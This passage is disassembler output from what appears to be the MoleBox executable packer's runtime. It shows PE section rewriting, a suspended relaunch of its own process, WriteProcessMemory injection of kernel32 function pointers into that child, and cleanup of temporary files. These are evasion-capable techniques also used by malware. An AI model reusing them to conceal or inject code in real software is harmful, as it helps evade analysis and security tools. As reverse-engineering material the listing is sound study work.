		mov	eax, [ebp+var_C4]
		inc	eax
		mov	[ebp+var_C4], eax
		jmp	short loc_4D6A7E
; ---------------------------------------------------------------------------


loc_4D6A72:				; CODE XREF: sub_4D61E1+880j
		mov	eax, [ebp+var_C0]
		mov	[ebp+var_C4], eax


loc_4D6A7E:				; CODE XREF: sub_4D61E1+88Fj
		mov	edi, [ebp+var_BC]
		mov	edx, [ebp+var_C4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	[ebp+var_C0]
		call	sub_4DAE83
		mov	[ebp+var_B8], eax
		cmp	[ebp+var_B8], 0
		jnz	short loc_4D6B00
		cmp	ds:dword_4E1968, 0
		jz	short loc_4D6AD9
		push	1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		jmp	short loc_4D6B29
; ---------------------------------------------------------------------------


loc_4D6AD9:				; CODE XREF: sub_4D61E1+8E7j
		push	7Eh
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		push	0FFFFFFFFh
		and	[ebp+var_140], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_140]
		jmp	loc_4D7132
; ---------------------------------------------------------------------------


loc_4D6B00:				; CODE XREF: sub_4D61E1+8DEj
		mov	[ebp+var_4], 1
		call	sub_4D6B0E
		jmp	short loc_4D6B27
sub_4D61E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D6B0E	proc near		; CODE XREF: sub_4D61E1+926p
					; DATA XREF: _5:004DE4E0o
		mov	eax, [ebp-0C0h]
		mov	[ebp-108h], eax
		push	dword ptr [ebp-108h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4D6B0E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D61E1


loc_4D6B27:				; CODE XREF: sub_4D61E1+829j
					; sub_4D61E1+92Bj
		jmp	short loc_4D6B2D
; ---------------------------------------------------------------------------


loc_4D6B29:				; CODE XREF: sub_4D61E1+838j
					; sub_4D61E1+8F6j
		mov	[ebp+var_5C], 1


loc_4D6B2D:				; CODE XREF: sub_4D61E1:loc_4D6B27j
		cmp	[ebp+var_B8], 0
		jz	short loc_4D6B5A
		mov	eax, [ebp+var_94]
		push	dword ptr [eax]
		push	[ebp+var_B8]
		push	[ebp+var_BC]
		call	sub_4D56EB
		add	esp, 0Ch
		mov	ecx, [ebp+var_94]
		mov	[ecx], eax


loc_4D6B5A:				; CODE XREF: sub_4D61E1+953j
		jmp	loc_4D694D
; ---------------------------------------------------------------------------


loc_4D6B5F:				; CODE XREF: sub_4D61E1+78Fj
					; sub_4D61E1+7ABj ...
		push	8000h
		push	0
		push	[ebp+var_A8]
		call	ds:dword_4E17A8	; VirtualFree
		and	[ebp+var_A8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4D6B8F
; END OF FUNCTION CHUNK	FOR sub_4D61E1

; =============== S U B	R O U T	I N E =======================================



sub_4D6B7F	proc near		; DATA XREF: _5:004DE4D0o
		push	dword ptr [ebp-14h]
		call	sub_4D8C27
		retn
sub_4D6B7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D6B88	proc near		; DATA XREF: _5:004DE4D4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
sub_4D6B88	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4D61E1


loc_4D6B8F:				; CODE XREF: sub_4D61E1+69Ej
					; sub_4D61E1+6BEj ...
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_90]
		mov	eax, [eax+8]
		cmp	eax, [ecx+10h]
		jbe	short loc_4D6BB4
		mov	eax, [ebp+var_90]
		mov	eax, [eax+8]
		mov	[ebp+var_144], eax
		jmp	short loc_4D6BC3
; ---------------------------------------------------------------------------


loc_4D6BB4:				; CODE XREF: sub_4D61E1+9C0j
		mov	eax, [ebp+var_90]
		mov	eax, [eax+10h]
		mov	[ebp+var_144], eax


loc_4D6BC3:				; CODE XREF: sub_4D61E1+9D1j
		mov	eax, [ebp+var_A0]
		push	dword ptr [eax+38h]
		push	[ebp+var_144]
		call	sub_4D5AE5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_90]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_A0]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+8]
		call	sub_4D5AE5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+24h]
		add	ecx, eax
		mov	eax, [ebp+var_A0]
		mov	[eax+24h], ecx
		mov	eax, [ebp+var_90]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+var_90]
		and	dword ptr [eax+14h], 0
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+24h], 0E0000080h


loc_4D6C30:				; CODE XREF: sub_4D61E1+688j
		jmp	loc_4D66E9
; ---------------------------------------------------------------------------


loc_4D6C35:				; CODE XREF: sub_4D61E1+523j
		and	[ebp+var_A4], 0
		jmp	short loc_4D6C4B
; ---------------------------------------------------------------------------


loc_4D6C3E:				; CODE XREF: sub_4D61E1+A7Cj
					; sub_4D61E1+A87j ...
		mov	eax, [ebp+var_A4]
		inc	eax
		mov	[ebp+var_A4], eax


loc_4D6C4B:				; CODE XREF: sub_4D61E1+A5Bj
		cmp	[ebp+var_A4], 10h
		jnb	short loc_4D6C8E
		cmp	[ebp+var_A4], 0
		jnz	short loc_4D6C5F
		jmp	short loc_4D6C3E
; ---------------------------------------------------------------------------


loc_4D6C5F:				; CODE XREF: sub_4D61E1+A7Aj
		cmp	[ebp+var_A4], 2
		jnz	short loc_4D6C6A
		jmp	short loc_4D6C3E
; ---------------------------------------------------------------------------


loc_4D6C6A:				; CODE XREF: sub_4D61E1+A85j
		mov	eax, [ebp+var_A4]
		mov	ecx, [ebp+var_A0]
		and	dword ptr [ecx+eax*8+7Ch], 0
		mov	eax, [ebp+var_A4]
		mov	ecx, [ebp+var_A0]
		and	dword ptr [ecx+eax*8+78h], 0
		jmp	short loc_4D6C3E
; ---------------------------------------------------------------------------


loc_4D6C8E:				; CODE XREF: sub_4D61E1+A71j
		push	0Ah
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_90]
		rep stosd
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_90]
		mov	[ecx+14h], eax
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+50h]
		mov	[eax+0Ch], ecx
		mov	esi, offset a_box_ ; "_BOX_"
		mov	edi, [ebp+var_90]
		movsd
		movsw
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+38h]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+10h], 200h
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+24h], 0E0000020h
		mov	eax, [ebp+var_A0]
		mov	dword ptr [eax+3Ch], 200h
		mov	eax, [ebp+var_A0]
		mov	eax, [eax+50h]
		mov	ecx, [ebp+var_A0]
		add	eax, [ecx+38h]
		mov	ecx, [ebp+var_A0]
		mov	[ecx+50h], eax
		mov	eax, [ebp+var_A0]
		mov	eax, [eax+1Ch]
		mov	ecx, [ebp+var_A0]
		add	eax, [ecx+3Ch]
		mov	ecx, [ebp+var_A0]
		mov	[ecx+1Ch], eax
		mov	eax, [ebp+var_A0]
		mov	eax, [eax+28h]
		mov	[ebp+var_20], eax
		push	5
		pop	ecx
		mov	esi, offset loc_4E0C70
		mov	edi, [ebp+var_54]
		rep movsd
		movsw
		movsb
		mov	eax, [ebp+var_54]
		inc	eax
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+28h]
		mov	[eax+1], ecx
		call	sub_4D58A0
		mov	ecx, [ebp+var_C8]
		mov	ecx, [ecx+1]
		xor	ecx, eax
		mov	eax, [ebp+var_C8]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_C8]
		add	eax, 5
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	ecx, [ebp+var_24]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_C8]
		add	eax, 5
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	ecx, [ebp+var_3C]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_C8]
		add	eax, 5
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		inc	eax
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	dword ptr [eax+1], offset sub_4D5BD7
		and	[ebp+var_C8], 0
		xor	eax, eax
		mov	edi, [ebp+var_54]
		add	edi, 20h
		stosd
		stosd
		stosd
		mov	eax, [ebp+var_54]
		mov	dword ptr [eax+24h], 8
		mov	eax, [ebp+var_A0]
		mov	dword ptr [eax+0A4h], 8
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		add	eax, 20h
		mov	ecx, [ebp+var_A0]
		mov	[ecx+0A0h], eax
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+0Ch]
		mov	[eax+28h], ecx
		mov	eax, [ebp+var_A0]
		mov	ax, [eax+6]
		add	ax, 1
		mov	ecx, [ebp+var_A0]
		mov	[ecx+6], ax
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+58h], 0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+var_28]
		call	ds:dword_4E16A8	; CreateFileA
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0FFFFFFFFh
		jnz	short loc_4D6E8C
		mov	ecx, 0EF000011h
		call	sub_4D8342


loc_4D6E8C:				; CODE XREF: sub_4D61E1+C9Fj
		push	0
		lea	eax, [ebp+var_CC]
		push	eax
		push	[ebp+var_34]
		push	[ebp+var_1C]
		push	[ebp+var_58]
		call	ds:dword_4E17BC	; WriteFile
		cmp	[ebp+var_2C], 0
		jz	short loc_4D6EC2
		push	0
		lea	eax, [ebp+var_CC]
		push	eax
		push	[ebp+var_30]
		push	[ebp+var_2C]
		push	[ebp+var_58]
		call	ds:dword_4E17BC	; WriteFile


loc_4D6EC2:				; CODE XREF: sub_4D61E1+CC7j
		push	0
		lea	eax, [ebp+var_CC]
		push	eax
		push	200h
		push	[ebp+var_54]
		push	[ebp+var_58]
		call	ds:dword_4E17BC	; WriteFile
		push	[ebp+var_58]
		call	ds:dword_4E16D8	; FlushFileBuffers
		push	[ebp+var_58]
		call	ds:dword_4E16A4	; CloseHandle
		mov	ds:dword_4E1958, 1
		push	[ebp+var_28]
		call	ds:dword_4E175C	; LoadLibraryA
		mov	[ebp+var_D0], eax
		cmp	[ebp+var_D0], 0
		jnz	short loc_4D6F2B
		push	351h
		push	offset aDProjectsMy_sr ; "D:\\Projects\\My.SRC\\MoleStudio\\MoleBox\\m"...
		call	sub_4D87CA
		pop	ecx
		pop	ecx
		mov	ecx, 0EF000010h
		call	sub_4D8342


loc_4D6F2B:				; CODE XREF: sub_4D61E1+D2Dj
		movzx	eax, [ebp+var_5C]
		test	eax, eax
		jz	loc_4D705C
		mov	eax, [ebp+var_D0]
		mov	[ebp+var_DC], eax
		mov	eax, [ebp+var_DC]
		mov	ecx, [ebp+var_DC]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_EC], ecx
		mov	eax, [ebp+var_EC]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_EC]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_E8], eax
		mov	eax, [ebp+var_EC]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_E8]
		lea	eax, [ecx+eax-28h]
		mov	[ebp+var_E0], eax
		mov	eax, [ebp+var_E0]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_DC]
		mov	eax, [ecx+eax+3Ch]
		mov	[ebp+var_E4], eax
		mov	eax, [ebp+var_DC]
		add	eax, [ebp+var_E4]
		mov	[ebp+var_D8], eax
		push	5Ch
		push	[ebp+var_24]
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp+var_D4], eax
		cmp	[ebp+var_D4], 0
		jnz	short loc_4D6FE0
		mov	eax, [ebp+var_24]
		mov	[ebp+var_D4], eax
		jmp	short loc_4D6FED
; ---------------------------------------------------------------------------


loc_4D6FE0:				; CODE XREF: sub_4D61E1+DF2j
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax


loc_4D6FED:				; CODE XREF: sub_4D61E1+DFDj
		push	14h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_10C], eax
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_D4]
		mov	[eax], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, ds:dword_4E196C
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_EC]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_D8]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_DC]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_F0]
		mov	ds:dword_4E196C, eax


loc_4D705C:				; CODE XREF: sub_4D61E1+D50j
		call	sub_4D614D
		push	0FFFFFFFFh
		mov	eax, [ebp+var_D0]
		mov	[ebp+var_148], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_148]
		jmp	loc_4D7132
; END OF FUNCTION CHUNK	FOR sub_4D61E1

; =============== S U B	R O U T	I N E =======================================



sub_4D7085	proc near		; DATA XREF: _5:004DE4C8o
		cmp	ds:dword_4E1964, 0
		jz	short loc_4D7096
		mov	eax, [ebp-44h]
		mov	ds:dword_4E1964, eax


loc_4D7096:				; CODE XREF: sub_4D7085+7j
		cmp	dword ptr [ebp-3Ch], 0FFFFFFFFh
		jz	short loc_4D70A6
		push	0
		push	dword ptr [ebp-3Ch]
		call	sub_4D0741


loc_4D70A6:				; CODE XREF: sub_4D7085+15j
		mov	eax, [ebp-50h]
		mov	[ebp-110h], eax
		push	dword ptr [ebp-110h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-4Ch]
		mov	[ebp-114h], eax
		push	dword ptr [ebp-114h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-1Ch]
		mov	[ebp-118h], eax
		push	dword ptr [ebp-118h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-2Ch]
		mov	[ebp-11Ch], eax
		push	dword ptr [ebp-11Ch]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-54h]
		mov	[ebp-120h], eax
		push	dword ptr [ebp-120h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-28h]
		mov	[ebp-124h], eax
		push	dword ptr [ebp-124h]
		call	sub_4D83DD
		pop	ecx
		push	offset dword_4E1930
		call	ds:dword_4E1754	; RtlLeaveCriticalSection
		retn
sub_4D7085	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_4D61E1


loc_4D7132:				; CODE XREF: sub_4D61E1+C3j
					; sub_4D61E1+145j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D61E1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D7141	proc near		; CODE XREF: sub_4DAA24+15p
					; sub_4DAA5E+43p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E194C
		call	sub_4DB871
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4D71BD
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_8]
		jbe	short loc_4D7199
		mov	ecx, [ebp+var_8]
		inc	ecx
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_4D71B8
; ---------------------------------------------------------------------------


loc_4D7199:				; CODE XREF: sub_4D7141+34j
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx


loc_4D71B8:				; CODE XREF: sub_4D7141+56j
		push	1
		pop	eax
		jmp	short loc_4D71BF
; ---------------------------------------------------------------------------


loc_4D71BD:				; CODE XREF: sub_4D7141+1Cj
		xor	eax, eax


loc_4D71BF:				; CODE XREF: sub_4D7141+7Aj
		pop	edi
		pop	esi
		leave
		retn
sub_4D7141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D71C3	proc near		; CODE XREF: sub_4DA0C8+42p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE4E8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_78], 0
		and	[ebp+var_74], 0
		and	[ebp+var_70], 0
		xor	eax, eax
		lea	edi, [ebp+var_6C]
		stosd
		and	[ebp+var_60], 0
		push	10h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_5C]
		rep stosd
		call	ds:dword_4E16E4	; GetCurrentProcess
		mov	[ebp+var_68], eax
		mov	[ebp+var_64], offset dword_4CD720
		and	[ebp+var_1C], 0
		cmp	ds:dword_4E1958, 0
		jz	loc_4D7324
		and	[ebp+var_4], 0
		push	105h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_8C], eax
		mov	eax, [ebp+var_8C]
		mov	[ebp+var_78], eax
		push	50h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_90]
		mov	[ebp+var_74], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_78]
		rep stosd
		stosb
		push	104h
		push	[ebp+var_78]
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		push	eax
		call	ds:dword_4E1714	; GetModuleFileNameA
		mov	[ebp+var_60], 44h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	0
		push	0
		push	4
		push	1
		push	0
		push	0
		push	0
		push	[ebp+var_78]
		call	ds:dword_4E16B8	; CreateProcessA
		test	eax, eax
		jnz	short loc_4D72BD
		mov	ecx, 0EF000015h
		call	sub_4D8342


loc_4D72BD:				; CODE XREF: sub_4D71C3+EEj
		call	ds:dword_4E16E8	; GetCurrentProcessId
		push	eax
		push	[ebp+var_88]
		call	sub_4D7494
		pop	ecx
		pop	ecx
		push	[ebp+var_84]
		call	ds:dword_4DE024	; ResumeThread
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4D7324
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0EF000015h
		jnz	short loc_4D7308
		mov	[ebp+var_98], 1
		jmp	short loc_4D7316
; ---------------------------------------------------------------------------


loc_4D7308:				; CODE XREF: sub_4D71C3+137j
		push	[ebp+var_14]
		call	sub_4D8C27
		mov	[ebp+var_98], eax


loc_4D7316:				; CODE XREF: sub_4D71C3+143j
		mov	eax, [ebp+var_98]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_4D7324:				; CODE XREF: sub_4D71C3+66j
					; sub_4D71C3+11Ej
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D71C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D7333	proc near		; CODE XREF: sub_4D7482+Bp
					; DATA XREF: sub_4D7482+6o ...

var_24C		= byte ptr -24Ch
var_220		= byte ptr -220h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	edi
		and	[ebp+var_108], 0
		push	ds:dword_4E1920
		push	0
		push	1F0FFFh
		call	ds:dword_4E1994
		mov	ds:dword_4E1948, eax
		cmp	ds:dword_4E1948, 0
		jz	short loc_4D73A4


loc_4D7365:				; CODE XREF: sub_4D7333+63j
		lea	eax, [ebp+var_108]
		push	eax
		push	ds:dword_4E1948
		call	ds:dword_4E1988
		test	eax, eax
		jz	short loc_4D7398
		cmp	[ebp+var_108], 103h
		jnz	short loc_4D7398
		push	0FFFFFFFFh
		push	ds:dword_4E1948
		call	ds:dword_4E198C
		jmp	short loc_4D7365
; ---------------------------------------------------------------------------


loc_4D7398:				; CODE XREF: sub_4D7333+47j
					; sub_4D7333+53j
		push	ds:dword_4E1948
		call	ds:dword_4E199C


loc_4D73A4:				; CODE XREF: sub_4D7333+30j
		or	[ebp+var_10C], 0FFFFFFFFh
		and	[ebp+var_104], 0
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	ds:dword_4E1970
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4E1974
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	ds:dword_4E1978
		push	64h
		call	ds:dword_4E1998


loc_4D73FB:				; CODE XREF: sub_4D7333+124j
		lea	eax, [ebp+var_24C]
		push	eax
		push	offset dword_4E19A0
		call	ds:dword_4E197C
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0FFFFFFFFh
		jz	short loc_4D7459
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_4E1980
		test	eax, eax
		jnz	short loc_4D744B
		push	1F4h
		call	ds:dword_4E1998
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_4E1980
		test	eax, eax
		jnz	short loc_4D744B
		jmp	short loc_4D7478
; ---------------------------------------------------------------------------


loc_4D744B:				; CODE XREF: sub_4D7333+F8j
					; sub_4D7333+114j
		push	[ebp+var_10C]
		call	ds:dword_4E1984
		jmp	short loc_4D73FB
; ---------------------------------------------------------------------------


loc_4D7459:				; CODE XREF: sub_4D7333+E7j
					; sub_4D7333:loc_4D7478j
		cmp	[ebp+var_10C], 0FFFFFFFFh
		jz	short loc_4D746E
		push	[ebp+var_10C]
		call	ds:dword_4E1984


loc_4D746E:				; CODE XREF: sub_4D7333+12Dj
		push	0
		call	ds:dword_4E1990
		jmp	short loc_4D747A
; ---------------------------------------------------------------------------


loc_4D7478:				; CODE XREF: sub_4D7333+116j
		jmp	short loc_4D7459
; ---------------------------------------------------------------------------


loc_4D747A:				; CODE XREF: sub_4D7333+143j
		pop	edi
		leave
		retn
sub_4D7333	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D747D	proc near		; DATA XREF: sub_4D7494+2B6o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_4D747D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D7482	proc near		; DATA XREF: sub_4D7494+2EFo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, offset sub_4D7333
		call	eax ; sub_4D7333
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4D7482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D7494	proc near		; CODE XREF: sub_4D71C3+107p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+arg_4]
		mov	ds:dword_4E1920, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1920
		push	offset dword_4E1920
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		push	20h
		pop	ecx
		xor	eax, eax
		mov	edi, offset dword_4E19A0
		rep stosd
		call	ds:dword_4E16E8	; GetCurrentProcessId
		push	eax
		push	offset aMbx@X@_	; "MBX@%X@*.###"
		push	offset dword_4E19A0
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		push	80h
		push	offset dword_4E19A0
		push	offset dword_4E19A0
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		mov	esi, offset aKernel32_dll ; "kernel32.dll"
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsb
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGettemppatha ; "GetTempPathA"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1970, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1970
		push	offset dword_4E1970
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSetcurrentdire ; "SetCurrentDirectoryA"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1974, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1974
		push	offset dword_4E1974
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGetcurrentdire ; "GetCurrentDirectoryA"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1978, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1978
		push	offset dword_4E1978
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aFindfirstfilea ; "FindFirstFileA"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E197C, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E197C
		push	offset dword_4E197C
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aDeletefilea ; "DeleteFileA"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1980, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1980
		push	offset dword_4E1980
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aFindclose ; "FindClose"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1984, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1984
		push	offset dword_4E1984
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGetexitcodepro ; "GetExitCodeProcess"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1988, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1988
		push	offset dword_4E1988
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aWaitforsingleo ; "WaitForSingleObject"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E198C, eax
		lea	eax, [ebp+var_14]
		push	eax
